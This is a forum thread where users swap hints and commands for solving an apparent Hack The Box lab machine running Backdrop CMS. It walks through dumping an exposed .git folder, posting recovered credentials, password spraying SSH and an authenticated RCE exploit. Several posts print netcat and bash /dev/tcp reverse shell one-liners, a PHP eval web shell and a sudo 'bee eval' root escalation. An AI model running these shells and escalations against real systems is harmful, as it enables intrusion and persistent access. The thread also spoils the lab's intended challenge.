Posts: 22
Threads: 1
Joined: Jun 2024
(Mar 09, 2025, 04:50 PM)mololpp Wrote: can someone make an obvious writeup for noobs pls because how do u get access to the db ?
the writeup is already done ... look here: https://breachforums.bf/Thread-HTB-Dog-S...l-Commands
Posts: 196
Threads: 31
Joined: Apr 2024
Mar 09, 2025, 07:26 PM
(This post was last modified: Mar 09, 2025, 07:38 PM by maggi.)
(Mar 09, 2025, 04:50 PM)mololpp Wrote: can someone make an obvious writeup for noobs pls because how do u get access to the db ?
Sooo nmap finds a /.git
dirsearch shows a /.git
This is a clue to at least try and see what git-dumper digs up......
Look in those files and you get what you need
Don't pay monopoly monies for easy boxes
Posts: 3
Threads: 0
Joined: Mar 2025
Mar 09, 2025, 09:47 PM
(This post was last modified: Mar 09, 2025, 10:16 PM by artiom.)
i got web shell, I want to get proper reverse shell.
What reverse shell command you guys used?
I am trying many from ReverseShellGenerator website but they do not seem to be working.
Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.
(Mar 09, 2025, 09:47 PM)artiom Wrote: i got web shell, I want to get proper reverse shell.
What reverse shell command you guys used?
I am trying many from ReverseShellGenerator website but they do not seem to be working.
Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.
I got shell with this:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f
since I found out it is using /bin/sh --> dash
with echo $0 , ls -l /bin/sh and ps -p && commands.
Posts: 2
Threads: 0
Joined: Dec 2024
(Mar 09, 2025, 04:50 PM)mololpp Wrote: can someone make an obvious writeup for noobs pls because how do u get access to the db ?
user:
fuzz to find .git dir
use git dumper and extractor https://github.com/internetwache/GitTools
in settings.php you can find password
you can find username by searching:
attempt username/password and you can log in to the cms
you got authenticated RCE using php/webapps/52021.py
get rev shell or read /etc/passwd for users with login shell and password spray ssh with the password found earlier
root:
sudo /usr/local/bin/bee --root='/var/www/html/' ev 'SYSTEM('bash')'
Posts: 24
Threads: 2
Joined: Jun 2024
(Mar 09, 2025, 11:27 AM)shubham69 Wrote: (Mar 08, 2025, 07:59 PM)wh1t3_r4bb1t Wrote: (Mar 08, 2025, 07:56 PM)USBTYPEA Wrote: (Mar 08, 2025, 07:45 PM)RedBlock Wrote: Ssh creds
User: johncusack
Pass: BackDropJ2024DS2024
How did you found the ssh credentials?
You can login into CMS:
/?q=user/login
tiffany@dog.htb:BackDropJ2024DS2024
There you can setup cron job and get shell (I'm here, need to check it).
How did you find that you have to use tiffany user?
I got pass from settings.php but did not get any leads on finding a valid user.
I just found it by using "grep -iR 'dog' .
Posts: 23
Threads: 1
Joined: Mar 2025
(Mar 10, 2025, 08:51 AM)letsee Wrote: (Mar 09, 2025, 04:50 PM)mololpp Wrote: can someone make an obvious writeup for noobs pls because how do u get access to the db ?
user:
fuzz to find .git dir
use git dumper and extractor https://github.com/internetwache/GitTools
in settings.php you can find password
you can find username by searching:
attempt username/password and you can log in to the cms
you got authenticated RCE using php/webapps/52021.py
get rev shell or read /etc/passwd for users with login shell and password spray ssh with the password found earlier
root:
sudo /usr/local/bin/bee --root='/var/www/html/' ev 'SYSTEM('bash')'
Well thank you, i was stuck on the web panel, dont know what to do... i think i should give more credit to searchsploit next time...
Posts: 9
Threads: 0
Joined: Mar 2024
Quick Writeup for user and root:
getting info from git:
git show 8204779c764abd4c9d8d95038b6d22b6a7515afa -- settings.php
git grep -i "@ DOG.htb" $(git rev-list --all)
BackdropCMS
python3 /usr/share/exploitdb/exploits/php/webapps/52021.py http://dog.htb/
tar czf shell.tar shell
Root:
if you run sudo /usr/local/bin/bee --help
you will find this:
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('whoami');"
sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('bash -c \"bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1\"');"
Posts: 3
Threads: 0
Joined: Mar 2025
Nice box, username enum is key.
Posts: 1
Threads: 0
Joined: Mar 2025
(Mar 09, 2025, 09:47 PM)artiom Wrote: i got web shell, I want to get proper reverse shell.
What reverse shell command you guys used?
I am trying many from ReverseShellGenerator website but they do not seem to be working.
Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.
(Mar 09, 2025, 09:47 PM)artiom Wrote: i got web shell, I want to get proper reverse shell.
What reverse shell command you guys used?
I am trying many from ReverseShellGenerator website but they do not seem to be working.
Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.
I got shell with this:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f
since I found out it is using /bin/sh --> dash
with echo $0 , ls -l /bin/sh and ps -p && commands.
I met the same question. I use Antsword( https://github.com/AntSwordProject/antSword.git) to receive shell. You can modify the shell.php as PHP Code: <?php @eval($_POST['xxx']);?>
then use Antsword to connect x.x.x.x/moudules/shell/shell.php
Quickly reupload shell.php into /var/www/html and connect x.x.x.x/shell.php This shell will not disappear.
Then do the next job like others. Hope it can help you.
|